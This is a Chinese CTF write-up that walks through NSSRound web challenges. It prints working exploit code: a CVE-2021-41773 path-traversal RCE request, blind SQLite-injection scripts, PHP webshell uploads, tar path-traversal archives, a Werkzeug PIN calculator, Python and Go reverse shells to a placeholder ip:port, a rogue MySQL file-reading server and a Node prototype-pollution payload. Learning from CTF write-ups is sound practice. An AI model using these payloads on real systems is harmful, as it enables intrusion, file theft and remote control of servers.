NSSRound做题小记
[NSSRound#1 Basic]basic_check
通过curl -X OPTIONS http://1.14.71.254:28169/index.php -I
来查看服务器信息
发现支持PUT协议
于是可以用PUT协议来写文件
[NSSRound#4 SWPU]1zweb
直接读/flag
[NSSRound#4 SWPU]1zweb(revenge)
考虑phar反序列化
由于过滤了__HALT_COMPILER();
考虑压缩phar文件再上传
脚本要在kali
下跑
用winhex或者010editor之类的来修改参数绕过__wakeup__
import gzip
from hashlib import sha256
with open('phar.phar', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha256(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open('a.png', 'wb') as file:#更改文件后缀
file.write(newf)
不知道为什么我这里是sha256
加密
[NSSRound#4 SWPU]ez_rce
CVE-2021-41773
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 1.14.71.254:28401
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
echo;grep -r "NSSCTF" /flag_is_here
[NSSRound#1 Basic]sql_by_sql
首先我们可以尝试出在修改密码的地方存在二次注入,然后修改admin
的密码,发现查询用户处可以sql注入
不过不同的是,这里是SQLite注入
在sqlite_master
表中爆出表名
写脚本爆出创建时的SQL语句
import requests
url = "http://1.14.71.254:28444/query"
sql = ""
for i in range(1,100):
for ch in range(1,128):
res = requests.post(url,
data={"id": "1 and substr((SELECT sql FROM sqlite_master limit 1,1),{i},1)='{ch}'".
format(i=i, ch=chr(ch))}
)
if res.text == "exist":
sql = sql + chr(ch)
break
print(sql)
得到创建表的语句:
CREATE TABLE "flag" (
"flag" text(100)
)
再爆出flag
more about sqlite Injection:https://blog.csdn.net/HBohan/article/details/120672745
[NSSRound#7 Team]ec_RCE
action=||&data='cat /flag'
记得闭合引号
[NSSRound#V Team]PYRCE
可以通过pwd
来构造/
用%09
来绕过空格
然后cp /flag
到app.py
或者新建一个static
然后cp
进去
cp%09$(cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)flag%09static$(cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26cd%09..%26%26pwd)
[NSSRound#7 Team]0o0
泄漏了.DS_Store
然后查看源码,发现是一个大杂烩
<?php
error_reporting(0);
highlight_file(__FILE__);
$NSSCTF = $_GET['NSSCTF'] ?: '';
$NsSCTF = $_GET['NsSCTF'] ?: '';
$NsScTF = $_GET['NsScTF'] ?: '';
$NsScTf = $_GET['NsScTf'] ?: '';
$NSScTf = $_GET['NSScTf'] ?: '';
$nSScTF = $_GET['nSScTF'] ?: '';
$nSscTF = $_GET['nSscTF'] ?: '';
if ($NSSCTF != $NsSCTF && sha1($NSSCTF) === sha1($NsSCTF)) {
if (!is_numeric($NsScTF) && in_array($NsScTF, array(1))) {
if (file_get_contents($NsScTf) === "Welcome to Round7!!!") {
if (isset($_GET['nss_ctfer.vip'])) {
if ($NSScTf != 114514 && intval($NSScTf, 0) === 114514) {
$nss = is_numeric($nSScTF) and is_numeric($nSscTF) !== "NSSRound7";
if ($nss && $nSscTF === "NSSRound7") {
if (isset($_POST['submit'])) {
$file_name = urldecode($_FILES['file']['name']);
$path = $_FILES['file']['tmp_name'];
if(strpos($file_name, ".png") == false){
die("NoO0P00oO0! Png! pNg! pnG!");
}
$content = file_get_contents($path);
$real_content = '<?php die("Round7 do you like");'. $content . '?>';
$real_name = fopen($file_name, "w");
fwrite($real_name, $real_content);
fclose($real_name);
echo "OoO0o0hhh.";
} else {
die("NoO0oO0oO0!");
}
} else {
die("N0o0o0oO0o!");
}
} else {
die("NoOo00O0o0!");
}
} else {
die("Noo0oO0oOo!");
}
} else {
die("NO0o0oO0oO!");
}
} else {
die("No0o0o000O!");
}
} else {
die("NO0o0o0o0o!");
}
上一个POC
import requests
import base64
from UrlEncoder import urlencode
url = "http://43.143.7.97:28542/Ns_SCtF.php?NSSCTF[]=2&NsSCTF[]=1&NsScTF=1aa&&NsScTf=data://,Welcome+to+Round7!!!&nss[ctfer.vip=1&NSScTf=0x1BF52&nSScTF=1&nSscTF=NSSRound7"
payload = b"<?php eval($_POST[a]);"
payload = base64.b64encode(payload)
filename1 = "2.png.php"
filename2 = "php://filter/write=convert.base64-decode/resource=" + filename1
data = {
'submit': 1
}
files = {
"file": (urlencode(filename2), b'aaa'+payload, "image/png")
}
res = requests.post(url, files=files, data=data)
data = {
"a": "system('ls');"
}
res = requests.post("http://43.143.7.97:28542/"+filename1, data=data)
print(res.text)
[NSSRound#6 Team]check(V1)
直接弹shell看flag
import tarfile
import requests
with tarfile.open('test.tar', 'w') as tf:
tf.add('test.sh', '../../../../../tmp/clean.sh')
url = 'http://43.142.108.3:28979/'
file = {
'file': ('1.tar', open(file='test.tar', mode='rb'))
}
resp = requests.post(url=url+'upload', files=file)
resp = requests.post(url=url+'clean')
[NSSRound#6 Team]check(V2)
直接传软链接上去
import requests
url = "http://43.143.7.127:28064/"
files = {
"file": ("1.tar", open("a.tar", "rb").read())
}
res = requests.post(url+"upload", files=files)
print(res.text)
res = requests.post(url+"download", data={"filename": "test"})
print(res.text)
[NSSRound#6 Team]check(Revenge)
先弹shell
然后算PIN码,python版本是3.10
在app.run
那里下断点,然后跟着调一遍
这里开始是重点
下面这里的modname
就是flask.app
username应该是root
后面我们得到了probably_public_bits
,其中第三个参数是Flask
,第四个参数是flask
的文件地址
最后得到
probably_public_bits = [
"root",
"flask.app",
"Flask",
"/usr/local/lib/python3.10/site-packages/flask/app.py"
]
继续跟进private_bits
然后跟进uuid.getnode()
突然想到都弹shell了,为什么不直接在服务器上算呢?
import uuid
def get_machine_id():
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
return linux
private_bits = [str(uuid.getnode()), get_machine_id()]
print(private_bits)
然后直接跑脚本
import hashlib
from itertools import chain
num = None
rv = None
probably_public_bits = [
"root",
"flask.app",
"Flask",
"/usr/local/lib/python3.10/site-packages/flask/app.py"
]
private_bits = ['2485376954748', b'96cec10d3d9307792745ec3b85c896200551825a1982786ee9409b5d855433801d512c8164d9c7ce0b3198b1e14e3bf7']
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
get_machine_id
比较容易看懂,str(uuid.getnode())
是MAC
地址的十进制数值,通过*cat /sys/class/net/eth0/address
来获取
这题还有另一个解法,就是覆盖main.py
来RCE,也是挺有趣的
[NSSRound#7 Team]ShadowFlag
首先,这题要用python弹shell
act=python3%09-c%09"import%09os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
python使用open读取文件后没有close,所以在/proc/[pid]/fd
里面有已经被删除了但进程没结束的文件内容
于是在/proc/16/fd
中有flag1:NSSCTF{00c4dcb9-3792
接下来考虑算PIN码,方法与上题类似,只是用户是ctf
最后要记得在/shell
里面报错的时候打开DEBUG控制台
得到flag2:-4800-96db-6a4629bf34c1}
[NSSRound#7 Team]新的博客
我菜了TwT,一直没搞明白这个文件上传,也没看出来admin的密码经过了sha512加密
这题就是利用tar.gz
解压时的文件覆盖漏洞来修改userinfo.json
通过下载下来的数据来判断文件目录结构
import tarfile
def change_name(tarinfo):
tarinfo.name = "../conf/userinfo.json"
return tarinfo
with tarfile.open("exp.tar.gz", "w:gz") as tar:
tar.add("userinfo.json", filter=change_name)
[NSSRound#3 Team]This1sMysql
非常有趣的一个攻击思路,利用Rogue-MySql-Server读取文件
from socket import AF_INET, SOCK_STREAM, error
from asyncore import dispatcher, loop as _asyLoop
from asynchat import async_chat
from struct import Struct
from sys import version_info
from logging import getLogger, INFO, StreamHandler, Formatter
_rouge_mysql_sever_read_file_result = {
}
_rouge_mysql_server_read_file_end = False
def checkVersionPy3():
return not version_info < (3, 0)
def rouge_mysql_sever_read_file(fileName, port, showInfo):
if showInfo:
log = getLogger(__name__)
log.setLevel(INFO)
tmp_format = StreamHandler()
tmp_format.setFormatter(Formatter("%(asctime)s : %(levelname)s : %(message)s"))
log.addHandler(
tmp_format
)
def _infoShow(*args):
if showInfo:
log.info(*args)
# ================================================
# =======No need to change after this lines=======
# ================================================
__author__ = 'Gifts'
__modify__ = 'Morouu'
global _rouge_mysql_sever_read_file_result
class _LastPacket(Exception):
pass
class _OutOfOrder(Exception):
pass
class _MysqlPacket(object):
packet_header = Struct('<Hbb')
packet_header_long = Struct('<Hbbb')
def __init__(self, packet_type, payload):
if isinstance(packet_type, _MysqlPacket):
self.packet_num = packet_type.packet_num + 1
else:
self.packet_num = packet_type
self.payload = payload
def __str__(self):
payload_len = len(self.payload)
if payload_len < 65536:
header = _MysqlPacket.packet_header.pack(payload_len, 0, self.packet_num)
else:
header = _MysqlPacket.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)
result = "".join(
(
header.decode("latin1") if checkVersionPy3() else header,
self.payload
)
)
return result
def __repr__(self):
return repr(str(self))
@staticmethod
def parse(raw_data):
packet_num = raw_data[0] if checkVersionPy3() else ord(raw_data[0])
payload = raw_data[1:]
return _MysqlPacket(packet_num, payload.decode("latin1") if checkVersionPy3() else payload)
class _HttpRequestHandler(async_chat):
def __init__(self, addr):
async_chat.__init__(self, sock=addr[0])
self.addr = addr[1]
self.ibuffer = []
self.set_terminator(3)
self.stateList = [b"LEN", b"Auth", b"Data", b"MoreLength", b"File"] if checkVersionPy3() else ["LEN",
"Auth",
"Data",
"MoreLength",
"File"]
self.state = self.stateList[0]
self.sub_state = self.stateList[1]
self.logined = False
self.file = ""
self.push(
_MysqlPacket(
0,
"".join((
'\x0a', # Protocol
'5.6.28-0ubuntu0.14.04.1' + '\0',
'\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
)))
)
self.order = 1
self.states = [b'LOGIN', b'CAPS', b'ANY'] if checkVersionPy3() else ['LOGIN', 'CAPS', 'ANY']
def push(self, data):
_infoShow('Pushed: %r', data)
data = str(data)
async_chat.push(self, data.encode("latin1") if checkVersionPy3() else data)
def collect_incoming_data(self, data):
_infoShow('Data recved: %r', data)
self.ibuffer.append(data)
def found_terminator(self):
data = b"".join(self.ibuffer) if checkVersionPy3() else "".join(self.ibuffer)
self.ibuffer = []
if self.state == self.stateList[0]: # LEN
len_bytes = data[0] + 256 * data[1] + 65536 * data[2] + 1 if checkVersionPy3() else ord(
data[0]) + 256 * ord(data[1]) + 65536 * ord(data[2]) + 1
if len_bytes < 65536:
self.set_terminator(len_bytes)
self.state = self.stateList[2] # Data
else:
self.state = self.stateList[3] # MoreLength
elif self.state == self.stateList[3]: # MoreLength
if (checkVersionPy3() and data[0] != b'\0') or data[0] != '\0':
self.push(None)
self.close_when_done()
else:
self.state = self.stateList[2] # Data
elif self.state == self.stateList[2]: # Data
packet = _MysqlPacket.parse(data)
try:
if self.order != packet.packet_num:
raise _OutOfOrder()
else:
# Fix ?
self.order = packet.packet_num + 2
if packet.packet_num == 0:
if packet.payload[0] == '\x03':
_infoShow('Query')
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.sub_state = self.stateList[4] # File
self.file = fileName.pop(0)
# end
if len(fileName) == 1:
global _rouge_mysql_server_read_file_end
_rouge_mysql_server_read_file_end = True
self.push(_MysqlPacket(
packet,
'\xFB{0}'.format(self.file)
))
elif packet.payload[0] == '\x1b':
_infoShow('SelectDB')
self.push(_MysqlPacket(
packet,
'\xfe\x00\x00\x02\x00'
))
raise _LastPacket()
elif packet.payload[0] in '\x02':
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
elif packet.payload == '\x00\x01':
self.push(None)
self.close_when_done()
else:
raise ValueError()
else:
if self.sub_state == self.stateList[4]: # File
_infoShow('-- result')
# fileContent
_infoShow('Result: %r', data)
if len(data) == 1:
self.push(
_MysqlPacket(packet, '\0\0\0\x02\0\0\0')
)
raise _LastPacket()
else:
self.set_terminator(3)
self.state = self.stateList[0] # LEN
self.order = packet.packet_num + 1
global _rouge_mysql_sever_read_file_result
_rouge_mysql_sever_read_file_result.update(
{self.file: data.encode() if not checkVersionPy3() else data}
)
# test
# print(self.file + ":\n" + content.decode() if checkVersionPy3() else content)
self.close_when_done()
elif self.sub_state == self.stateList[1]: # Auth
self.push(_MysqlPacket(
packet, '\0\0\0\x02\0\0\0'
))
raise _LastPacket()
else:
_infoShow('-- else')
raise ValueError('Unknown packet')
except _LastPacket:
_infoShow('Last packet')
self.state = self.stateList[0] # LEN
self.sub_state = None
self.order = 0
self.set_terminator(3)
except _OutOfOrder:
_infoShow('Out of order')
self.push(None)
self.close_when_done()
else:
_infoShow('Unknown state')
self.push('None')
self.close_when_done()
class _MysqlListener(dispatcher):
def __init__(self, sock=None):
dispatcher.__init__(self, sock)
if not sock:
self.create_socket(AF_INET, SOCK_STREAM)
self.set_reuse_addr()
try:
self.bind(('', port))
except error:
exit()
self.listen(1)
def handle_accept(self):
pair = self.accept()
if pair is not None:
_infoShow('Conn from: %r', pair[1])
_HttpRequestHandler(pair)
if _rouge_mysql_server_read_file_end:
self.close()
_MysqlListener()
_asyLoop()
return _rouge_mysql_sever_read_file_result
if __name__ == '__main__':
for name, content in rouge_mysql_sever_read_file(fileName=["class.php"], port=233,showInfo=True).items():
print(name + ":\n" + content.decode())
接下来可以读取class.php
和function.php
class.php
中存在POP链,function.php
中存在file_exists
可以触发反序列化,$conn->set_opt
可以设置MYSQLI_INIT_COMMAND
来执行任意命令
我们又发现了一个文件mysql.txt
里面有本地数据库的信息
之前的config那里,传入数字3可以修改MYSQLI_INIT_COMMAND
import requests
url = "http://1.14.71.254:28452"
flag = ""
for id in range(1,11):
for ch in "/abcdefghijklmnopqrstuvwxyz0123456789":
data = {
"config[3]": "select if(substr((select @@global .secure_file_priv),{id},1)='{ch}',sleep(3),1);".format(id=id, ch=ch),
"mysql[host]": "127.0.0.1",
"mysql[user]": "root",
"mysql[pass]": "nssctf",
"mysql[db]": "ctf",
"mysql[port]": 3306
}
try:
requests.post(url, data=data, timeout=1)
except:
flag = flag + ch
break
print(flag)
可以爆出文件写入地址为/nssctf/
然后可以写马
import requests
url = "http://1.14.71.254:28452"
data = {
"config[3]": "select \"<?php eval($_POST[cmd]);?>\" into outfile '/nssctf/shell.php';",
"mysql[host]": "127.0.0.1",
"mysql[user]": "root",
"mysql[pass]": "nssctf",
"mysql[db]": "ctf",
"mysql[port]": 3306
}
res = requests.post(url=url, data=data)
print(res.text)
后面的思路就是传phar文件并且触发它
我一开始的POP链思路是利用__wakeup()
绕过,但是好像出了点问题
仔细研究了一下,觉得是因为修改元素个数来绕过__wakeup
的方法在嵌套的类的反序列化中似乎并不可行
参考WP:https://www.cnblogs.com/Article-kelp/p/16271464.html
[NSSRound#8 Basic]MyDoor
用php://filter
读源码然后直接RCE
[NSSRound#8 Basic]MyPage
非预期
参考tanji的博客直接RCE
预期解
直接读index.php
未果,考虑用/proc/self/root
来绕过
http://43.143.7.127:28819/index.php?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php
读出源码
然后读出flag
非预期
看了评论区,还可以用pearcmd解决
[NSSRound#8 Basic]Upload_gogoggo
传run.go
弹shell
package main
import (
"net" // requirement to establish a connection
"os" // requirement to call os.Exit()
"os/exec" // requirement to execute commands against the target system
)
func main() {
// Connecting back to the attacker
// If it fails, we exit the program
conn, err := net.Dial("tcp", "ip:port")
if err != nil {
os.Exit(1)
}
// Creating a /bin/sh process
cmd := exec.Command("/bin/sh")
// Connecting stdin and stdout
// to the opened connection
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
// Run the process
cmd.Run()
}
[NSSRound#8 Basic]ez_node
这里直接给payload了,怎么调出来的下篇博客再说
{
"%d":1,
"__proto__": {
"data": {
"name": "./err.js",
"exports": {
".": "./preinstall.js"
}
},
"path": "/opt/yarn-v1.22.19",
"npm_config_global": 1,
"npm_execpath": "--require=/proc/self/environ",
"env":{
"AAA":"require('child_process').execSync('cp /flag /app/public/flag');//"
}
},
"toString": null
}
[NSSRound#3 Team]path_by_path
很有趣的题目,问了gtg师傅才会
这题有个有趣的地方,就是在const url = new URL(path, 'http://127.0.0.1:5000');
这里,当path
是一个合法的URL时,url.toString()
就是path
于是我们可以在VPS开一个服务,来返回任意的p
和f
代码如下:
import json
import tornado.web
import tornado.ioloop
class Handler(tornado.web.RequestHandler):
def get(self):
dic = {
"p": "",
"f": ""
}
self.write(json.dumps(dic))
if __name__ == "__main__":
app = tornado.web.Application([(r"/", Handler)])
app.listen(233)
tornado.ioloop.IOLoop.current().start()
然后我们可以思考如何获取并返回env[FLAG]
首先我们可以尝试:
{
"p": "info",
"f": "FLAG"
}
这样确实可以在whoami['info']['FLAG']
中存入FLAG
但是由于存在field = (field == 'name' || field == 'bio' || field == 'intro') ? field : (whoami.field ? whoami.field : 'name');
这句判断:当whoami.field
为空时,field
变为name
所以我们还需要通过原型链污染来修改whoami.field
,即:
{
"p": "__proto__",
"f": "field",
"field": "FLAG"
}
再访问\whoami?public=info&field=FLAG
即可